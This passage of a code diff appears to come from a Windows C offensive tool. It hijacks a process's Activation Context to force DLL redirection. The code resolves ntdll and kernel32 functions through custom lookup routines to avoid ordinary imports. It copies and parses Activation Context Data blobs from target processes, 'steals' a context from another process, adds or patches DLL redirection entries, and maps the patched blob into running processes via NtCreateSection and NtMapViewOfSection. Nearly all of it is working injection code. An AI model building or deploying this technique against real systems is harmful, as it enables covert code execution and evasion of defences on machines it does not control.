|
||||
|
||||
BOOL wantsHelp = hasArg(argc, argv, "--help") || hasArg(argc, argv, "-h");
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// MODE: recon
|
||||
// -------------------------------------------------------------------------
|
||||
if (strcmp(mode, "recon") == 0) {
|
||||
|
||||
if (wantsHelp || argc < 4) { helpPanelRecon(); return 0; }
|
||||
|
||||
const char* validFlags[] = { "-m", "-s", "-p", "--help", "-h", NULL };
|
||||
if (!validateArgs(argc, argv, validFlags)) {
|
||||
helpPanelRecon();
|
||||
return 1;
|
||||
}
|
||||
|
||||
char* submode = getArg(argc, argv, "-s");
|
||||
if (submode == NULL) {
|
||||
fprintf(stderr, "[ERROR] Missing required argument -s [SUBMODE].\n");
|
||||
fprintf(stderr, " Use '-m recon -s spawn' or '-m recon -s runtime'.\n\n");
|
||||
helpPanelRecon();
|
||||
return 1;
|
||||
}
|
||||
if (strcmp(submode, "spawn") != 0 && strcmp(submode, "runtime") != 0) {
|
||||
fprintf(stderr, "[ERROR] Unknown submode '%s'.\n", submode);
|
||||
fprintf(stderr, " Valid submodes: spawn, runtime.\n\n");
|
||||
helpPanelRecon();
|
||||
return 1;
|
||||
}
|
||||
|
||||
char* target = getArg(argc, argv, "-p");
|
||||
if (target == NULL) {
|
||||
fprintf(stderr, "[ERROR] Missing required argument -p [PID|PATH].\n\n");
|
||||
helpPanelRecon();
|
||||
return 1;
|
||||
}
|
||||
|
||||
modeRecon(submode, target);
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// MODE: spawn
|
||||
// -------------------------------------------------------------------------
|
||||
} else if (strcmp(mode, "spawn") == 0) {
|
||||
|
||||
if (wantsHelp || argc < 4) { helpPanelSpawn(); return 0; }
|
||||
|
||||
const char* validFlags[] = { "-m", "-s", "-p", "-d", "--dll-path", "--steal-from", "--help", "-h", NULL };
|
||||
if (!validateArgs(argc, argv, validFlags)) {
|
||||
helpPanelSpawn();
|
||||
return 1;
|
||||
}
|
||||
|
||||
char* submode = getArg(argc, argv, "-s");
|
||||
char* target = getArg(argc, argv, "-p");
|
||||
char* dllName = getArg(argc, argv, "-d");
|
||||
char* dllPath = getArg(argc, argv, "--dll-path");
|
||||
char* stealFrom = getArg(argc, argv, "--steal-from");
|
||||
|
||||
if (submode == NULL) {
|
||||
fprintf(stderr, "[ERROR] Missing required argument -s [SUBMODE].\n");
|
||||
fprintf(stderr, " Valid submodes: steal-context, add-entry, patch-entry.\n\n");
|
||||
helpPanelSpawn();
|
||||
return 1;
|
||||
}
|
||||
if (strcmp(submode, "steal-context") != 0 &&
|
||||
strcmp(submode, "add-entry") != 0 &&
|
||||
strcmp(submode, "patch-entry") != 0) {
|
||||
fprintf(stderr, "[ERROR] Unknown submode '%s'.\n", submode);
|
||||
fprintf(stderr, " Valid submodes: steal-context, add-entry, patch-entry.\n\n");
|
||||
helpPanelSpawn();
|
||||
return 1;
|
||||
}
|
||||
if (target == NULL) {
|
||||
fprintf(stderr, "[ERROR] Missing required argument -p <PATH>.\n\n");
|
||||
helpPanelSpawn();
|
||||
return 1;
|
||||
}
|
||||
if (dllName == NULL) {
|
||||
fprintf(stderr, "[ERROR] Missing required argument -d <DLL>.\n\n");
|
||||
helpPanelSpawn();
|
||||
return 1;
|
||||
}
|
||||
if (dllPath == NULL) {
|
||||
fprintf(stderr, "[ERROR] Missing required argument --dll-path <PATH>.\n\n");
|
||||
helpPanelSpawn();
|
||||
return 1;
|
||||
}
|
||||
if (strcmp(submode, "steal-context") == 0 && stealFrom == NULL) {
|
||||
fprintf(stderr, "[ERROR] Submode 'steal-context' requires --steal-from <PROCESS_NAME>.\n\n");
|
||||
helpPanelSpawn();
|
||||
return 1;
|
||||
}
|
||||
|
||||
modeSpawn(submode, target, dllName, dllPath, stealFrom);
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// MODE: runtime
|
||||
// -------------------------------------------------------------------------
|
||||
} else if (strcmp(mode, "runtime") == 0) {
|
||||
|
||||
if (wantsHelp || argc < 4) { helpPanelRuntime(); return 0; }
|
||||
|
||||
const char* validFlags[] = { "-m", "-s", "-p", "-d", "--dll-path", "--steal-from", "--help", "-h", NULL };
|
||||
if (!validateArgs(argc, argv, validFlags)) {
|
||||
helpPanelRuntime();
|
||||
return 1;
|
||||
}
|
||||
|
||||
char* submode = getArg(argc, argv, "-s");
|
||||
char* target = getArg(argc, argv, "-p");
|
||||
char* dllName = getArg(argc, argv, "-d");
|
||||
char* dllPath = getArg(argc, argv, "--dll-path");
|
||||
char* stealFrom = getArg(argc, argv, "--steal-from");
|
||||
|
||||
if (submode == NULL) {
|
||||
fprintf(stderr, "[ERROR] Missing required argument -s [SUBMODE].\n");
|
||||
fprintf(stderr, " Valid submodes: steal-context, add-entry, patch-entry.\n\n");
|
||||
helpPanelRuntime();
|
||||
return 1;
|
||||
}
|
||||
if (strcmp(submode, "steal-context") != 0 &&
|
||||
strcmp(submode, "add-entry") != 0 &&
|
||||
strcmp(submode, "patch-entry") != 0) {
|
||||
fprintf(stderr, "[ERROR] Unknown submode '%s'.\n", submode);
|
||||
fprintf(stderr, " Valid submodes: steal-context, add-entry, patch-entry.\n\n");
|
||||
helpPanelRuntime();
|
||||
return 1;
|
||||
}
|
||||
if (target == NULL) {
|
||||
fprintf(stderr, "[ERROR] Missing required argument -p <NAME>.\n\n");
|
||||
helpPanelRuntime();
|
||||
return 1;
|
||||
}
|
||||
if (dllName == NULL) {
|
||||
fprintf(stderr, "[ERROR] Missing required argument -d <DLL>.\n\n");
|
||||
helpPanelRuntime();
|
||||
return 1;
|
||||
}
|
||||
if (dllPath == NULL) {
|
||||
fprintf(stderr, "[ERROR] Missing required argument --dll-path <PATH>.\n\n");
|
||||
helpPanelRuntime();
|
||||
return 1;
|
||||
}
|
||||
if (strcmp(submode, "steal-context") == 0 && stealFrom == NULL) {
|
||||
fprintf(stderr, "[ERROR] Submode 'steal-context' requires --steal-from <PROCESS_NAME>.\n\n");
|
||||
helpPanelRuntime();
|
||||
return 1;
|
||||
}
|
||||
|
||||
modeRuntime(submode, target, dllName, dllPath, stealFrom);
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Unknown mode
|
||||
// -------------------------------------------------------------------------
|
||||
} else {
|
||||
fprintf(stderr, "[ERROR] Unknown mode '%s'.\n\n", mode);
|
||||
helpPanel();
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,156 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "recon.h"
|
||||
#include "..\common\dynamic_resolution.h"
|
||||
#include "..\common\c_runtime.h"
|
||||
#include "..\common\ntdefs.h"
|
||||
#include "..\common\actctx.h"
|
||||
#include "..\common\process_utils.h"
|
||||
|
||||
BOOL reconSpawn(const char* targetPath){
|
||||
|
||||
// Dynamic module address resolution using custom implementation of GetModuleHandleW
|
||||
HMODULE hKernel32 = phantom_GetModuleHandleW(L"kernel32.dll");
|
||||
|
||||
if(!hKernel32){
|
||||
printf("[ERROR] Couldn't get 'kernel32.dll' handle.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
|
||||
|
||||
if(!hNtdll){
|
||||
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Dynamic function address resolution using custom implementation of GetProcAddressA
|
||||
fnCreateProcessW pCreateProcessW = (fnCreateProcessW)phantom_GetProcAddressA(hKernel32, "CreateProcessW");
|
||||
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
|
||||
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
|
||||
|
||||
if(!pCreateProcessW || !pNtReadVirtualMemory || !pNtQueryInformationProcess){
|
||||
printf("[ERROR] Dynamic function address resolution failed.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Launch target process in suspended state
|
||||
WCHAR* widePath = phantom_char_to_wchar_ascii(targetPath);
|
||||
STARTUPINFOW si = { 0 };
|
||||
si.cb = sizeof(STARTUPINFOW);
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
|
||||
BOOL result = pCreateProcessW(
|
||||
NULL,
|
||||
widePath,
|
||||
NULL,
|
||||
NULL,
|
||||
FALSE,
|
||||
CREATE_SUSPENDED,
|
||||
NULL,
|
||||
NULL,
|
||||
&si,
|
||||
&pi
|
||||
);
|
||||
|
||||
free(widePath);
|
||||
|
||||
if (!result) {
|
||||
printf("[ERROR] CreateProcessW failed: %u\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[SUCCESS] Suspended process created...\n");
|
||||
|
||||
// Copy ACTIVATION_CONTEXT_DATA blob from target process to local heap buffer
|
||||
SIZE_T actCtxSize = 0;
|
||||
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, pi.hProcess, &actCtxSize);
|
||||
|
||||
if(!actCtxBlob){
|
||||
printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n");
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Parse TOC entries and DLL redirection section from the Activation Context Data blob
|
||||
ParseDllRedirections((const BYTE*)actCtxBlob, (ULONG)actCtxSize);
|
||||
|
||||
// Cleanup
|
||||
HeapFree(GetProcessHeap(), 0, actCtxBlob);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL reconRuntime(const char* processName){
|
||||
|
||||
// Dynamic module address resolution using custom implementation of GetModuleHandleW
|
||||
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
|
||||
|
||||
if(!hNtdll){
|
||||
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Dynamic function address resolution using custom implementation of GetProcAddressA
|
||||
fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation)phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation");
|
||||
fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess)phantom_GetProcAddressA(hNtdll, "NtOpenProcess");
|
||||
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
|
||||
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
|
||||
|
||||
|
||||
if(!pNtQuerySystemInformation || !pNtOpenProcess || !pNtReadVirtualMemory || !pNtQueryInformationProcess){
|
||||
printf("[ERROR] Dynamic function address resolution failed.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Get target process handle specifying the name
|
||||
WCHAR* ps_name = phantom_char_to_wchar_ascii(processName);
|
||||
HANDLE hProcess = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, ps_name, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION);
|
||||
|
||||
if (!hProcess) {
|
||||
free(ps_name);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
free(ps_name);
|
||||
|
||||
// Copy ACTIVATION_CONTEXT_DATA blob from target process to local heap buffer
|
||||
SIZE_T actCtxSize = 0;
|
||||
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hProcess, &actCtxSize);
|
||||
|
||||
if(!actCtxBlob){
|
||||
printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n");
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Parse TOC entries and DLL redirection section from the Activation Context Data blob
|
||||
ParseDllRedirections((const BYTE*)actCtxBlob, (ULONG)actCtxSize);
|
||||
|
||||
// Cleanup
|
||||
HeapFree(GetProcessHeap(), 0, actCtxBlob);
|
||||
CloseHandle(hProcess);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL modeRecon(const char* submode, const char* target) {
|
||||
|
||||
if (strcmp(submode, "spawn") == 0) {
|
||||
if(!reconSpawn(target)){
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
|
||||
} else if (strcmp(submode, "runtime") == 0) {
|
||||
if(!reconRuntime(target)){
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
BOOL modeRecon(
|
||||
const char* submode,
|
||||
const char* target
|
||||
);
|
||||
|
||||
BOOL reconSpawn(
|
||||
const char* targetPath
|
||||
);
|
||||
|
||||
BOOL reconRuntime(
|
||||
const char* processName
|
||||
);
|
||||
@@ -0,0 +1,437 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "runtime.h"
|
||||
#include "..\common\dynamic_resolution.h"
|
||||
#include "..\common\c_runtime.h"
|
||||
#include "..\common\ntdefs.h"
|
||||
#include "..\common\actctx.h"
|
||||
#include "..\common\process_utils.h"
|
||||
|
||||
BOOL runtimeStealContext(const char* targetName, const char* dllName, const char* dllPath, const char* stealFrom) {
|
||||
|
||||
// Dynamic module address resolution using custom implementation of GetModuleHandleW
|
||||
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hNtdll) {
|
||||
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Dynamic function address resolution using custom implementation of GetProcAddressA
|
||||
fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation)phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation");
|
||||
fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess) phantom_GetProcAddressA(hNtdll, "NtOpenProcess");
|
||||
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory) phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
|
||||
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
|
||||
fnNtCreateSection pNtCreateSection = (fnNtCreateSection) phantom_GetProcAddressA(hNtdll, "NtCreateSection");
|
||||
fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection");
|
||||
fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection");
|
||||
|
||||
if (!pNtQuerySystemInformation || !pNtOpenProcess || !pNtReadVirtualMemory ||
|
||||
!pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection) {
|
||||
printf("[ERROR] Dynamic function address resolution failed.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Get steal process handle specifying the name
|
||||
WCHAR* wStealFrom = phantom_char_to_wchar_ascii(stealFrom);
|
||||
HANDLE hStealProcess = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wStealFrom, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION);
|
||||
free(wStealFrom);
|
||||
|
||||
if (!hStealProcess) return FALSE;
|
||||
|
||||
SIZE_T actCtxSize = 0;
|
||||
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hStealProcess, &actCtxSize);
|
||||
CloseHandle(hStealProcess);
|
||||
|
||||
if (!actCtxBlob) {
|
||||
printf("[ERROR] Failed to copy Activation Context Data blob from steal process.\n");
|
||||
return FALSE;
|
||||
}
|
||||
printf("[INFO] Activation Context blob from '%s'. TotalSize=0x%lX\n", stealFrom, (ULONG)actCtxSize);
|
||||
|
||||
// Reallocate with extra space for patching
|
||||
BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES + EXTRA_BYTES_ADD);
|
||||
if (!blob) {
|
||||
printf("[ERROR] HeapReAlloc failed.\n");
|
||||
HeapFree(GetProcessHeap(), 0, actCtxBlob);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Convert dllName and dllPath to WCHAR
|
||||
WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName);
|
||||
WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath);
|
||||
if (!wDllName || !wDllPath) {
|
||||
printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n");
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[INFO] Patching blob: dllName='%s' redirectPath='%s'\n", dllName, dllPath);
|
||||
|
||||
// Patch or add DLL redirection entry
|
||||
ULONG newTotalSize = PatchOrAddDllRedirection(blob, (ULONG)actCtxSize, wDllName, wDllPath, 1);
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
|
||||
if (newTotalSize == (ULONG)actCtxSize) {
|
||||
printf("[ERROR] PatchOrAddDllRedirection failed.\n");
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return FALSE;
|
||||
}
|
||||
printf("[SUCCESS] Blob patched. New TotalSize = 0x%lX\n", newTotalSize);
|
||||
|
||||
// Print patched blob contents
|
||||
printf("\n[INFO] Patched ActivationContextData:\n");
|
||||
ParseDllRedirections((const BYTE*)blob, newTotalSize);
|
||||
|
||||
// Open the running target process
|
||||
WCHAR* wTargetName = phantom_char_to_wchar_ascii(targetName);
|
||||
HANDLE hTarget = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wTargetName, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION);
|
||||
free(wTargetName);
|
||||
|
||||
if (!hTarget) {
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Inject patched blob into the running target process
|
||||
NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, hTarget, blob, newTotalSize);
|
||||
CloseHandle(hTarget);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[SUCCESS] Activation Context hijacked in running process '%s'.\n", targetName);
|
||||
|
||||
// Cleanup
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL runtimeAddEntry(const char* targetName, const char* dllName, const char* dllPath) {
|
||||
|
||||
// Dynamic module address resolution using custom implementation of GetModuleHandleW
|
||||
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hNtdll) {
|
||||
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Dynamic function address resolution using custom implementation of GetProcAddressA
|
||||
fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation) phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation");
|
||||
fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess) phantom_GetProcAddressA(hNtdll, "NtOpenProcess");
|
||||
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory) phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
|
||||
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
|
||||
fnNtCreateSection pNtCreateSection = (fnNtCreateSection) phantom_GetProcAddressA(hNtdll, "NtCreateSection");
|
||||
fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection");
|
||||
fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection");
|
||||
|
||||
if (!pNtQuerySystemInformation || !pNtOpenProcess || !pNtReadVirtualMemory ||
|
||||
!pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection) {
|
||||
printf("[ERROR] Dynamic function address resolution failed.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Open the running target process
|
||||
WCHAR* wTargetName = phantom_char_to_wchar_ascii(targetName);
|
||||
HANDLE hTarget = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wTargetName, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION);
|
||||
free(wTargetName);
|
||||
|
||||
if (!hTarget) return FALSE;
|
||||
|
||||
// Copy ActivationContextData blob from the running target process
|
||||
SIZE_T actCtxSize = 0;
|
||||
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hTarget, &actCtxSize);
|
||||
|
||||
if (!actCtxBlob) {
|
||||
printf("[ERROR] Failed to copy Activation Context Data blob from target process.\n");
|
||||
CloseHandle(hTarget);
|
||||
return FALSE;
|
||||
}
|
||||
printf("[INFO] Blob copied from target. TotalSize=0x%lX\n", (ULONG)actCtxSize);
|
||||
|
||||
// Reallocate with extra space for the new entry
|
||||
BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES_ADD);
|
||||
if (!blob) {
|
||||
printf("[ERROR] HeapReAlloc failed.\n");
|
||||
HeapFree(GetProcessHeap(), 0, actCtxBlob);
|
||||
CloseHandle(hTarget);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Convert dllName and dllPath to WCHAR
|
||||
WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName);
|
||||
WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath);
|
||||
if (!wDllName || !wDllPath) {
|
||||
printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n");
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(hTarget);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Reject if no DLL redirection section exists in the target blob
|
||||
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
|
||||
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
|
||||
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL;
|
||||
for (ULONG i = 0; i < toc->EntryCount; i++) {
|
||||
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
|
||||
dllToc = &tocEntries[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!dllToc) {
|
||||
printf("[ERROR] No DLL redirection section (Id==2) found in the target's blob.\n");
|
||||
printf("[HINT] The target has no DLL redirection section.\n");
|
||||
printf(" Use 'steal-context' to steal the Activation Context from a process that has one.\n");
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(hTarget);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Reject if the entry already exists —> use patch-entry to overwrite an existing redirect
|
||||
{
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset);
|
||||
BYTE* B1 = (BYTE*)sshdr;
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset);
|
||||
ULONG keyByteLen = (ULONG)(wcslen(wDllName) * sizeof(WCHAR));
|
||||
|
||||
for (ULONG i = 0; i < sshdr->ElementCount; i++) {
|
||||
if (keyByteLen != strEntries[i].KeyLength) continue;
|
||||
const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset);
|
||||
ULONG nChars = keyByteLen / sizeof(WCHAR);
|
||||
BOOL match = TRUE;
|
||||
for (ULONG c = 0; c < nChars; c++) {
|
||||
WCHAR a = existingKey[c];
|
||||
WCHAR b = wDllName[c];
|
||||
if (a >= L'A' && a <= L'Z') a += (L'a' - L'A');
|
||||
if (b >= L'A' && b <= L'Z') b += (L'a' - L'A');
|
||||
if (a != b) { match = FALSE; break; }
|
||||
}
|
||||
if (match) {
|
||||
printf("[ERROR] '%s' already exists at entry[%lu].\n", dllName, i);
|
||||
printf("[HINT] Use 'patch-entry' to overwrite the existing redirect.\n");
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(hTarget);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
printf("[INFO] Adding entry: dllName='%s' redirectPath='%s'\n", dllName, dllPath);
|
||||
|
||||
// Add new DLL redirection entry
|
||||
ULONG newTotalSize = AddDllRedirectionEntry(blob, (ULONG)actCtxSize, wDllName, wDllPath, 1);
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
|
||||
if (newTotalSize == (ULONG)actCtxSize) {
|
||||
printf("[ERROR] AddDllRedirectionEntry failed.\n");
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(hTarget);
|
||||
return FALSE;
|
||||
}
|
||||
printf("[SUCCESS] Entry added. New TotalSize = 0x%lX\n", newTotalSize);
|
||||
|
||||
// Print patched blob contents
|
||||
printf("\n[INFO] Patched ActivationContextData:\n");
|
||||
ParseDllRedirections((const BYTE*)blob, newTotalSize);
|
||||
|
||||
// Inject patched blob into the running target process
|
||||
NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, hTarget, blob, newTotalSize);
|
||||
CloseHandle(hTarget);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[SUCCESS] Activation Context hijacked in running process '%s'.\n", targetName);
|
||||
|
||||
// Cleanup
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL runtimePatchEntry(const char* targetName, const char* dllName, const char* dllPath) {
|
||||
|
||||
// Dynamic module address resolution using custom implementation of GetModuleHandleW
|
||||
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hNtdll) {
|
||||
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Dynamic function address resolution using custom implementation of GetProcAddressA
|
||||
fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation) phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation");
|
||||
fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess) phantom_GetProcAddressA(hNtdll, "NtOpenProcess");
|
||||
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory) phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
|
||||
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
|
||||
fnNtCreateSection pNtCreateSection = (fnNtCreateSection) phantom_GetProcAddressA(hNtdll, "NtCreateSection");
|
||||
fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection");
|
||||
fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection");
|
||||
|
||||
if (!pNtQuerySystemInformation || !pNtOpenProcess || !pNtReadVirtualMemory ||
|
||||
!pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection) {
|
||||
printf("[ERROR] Dynamic function address resolution failed.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Open the running target process
|
||||
WCHAR* wTargetName = phantom_char_to_wchar_ascii(targetName);
|
||||
HANDLE hTarget = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wTargetName, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION);
|
||||
free(wTargetName);
|
||||
|
||||
if (!hTarget) return FALSE;
|
||||
|
||||
// Copy ActivationContextData blob from the running target process
|
||||
SIZE_T actCtxSize = 0;
|
||||
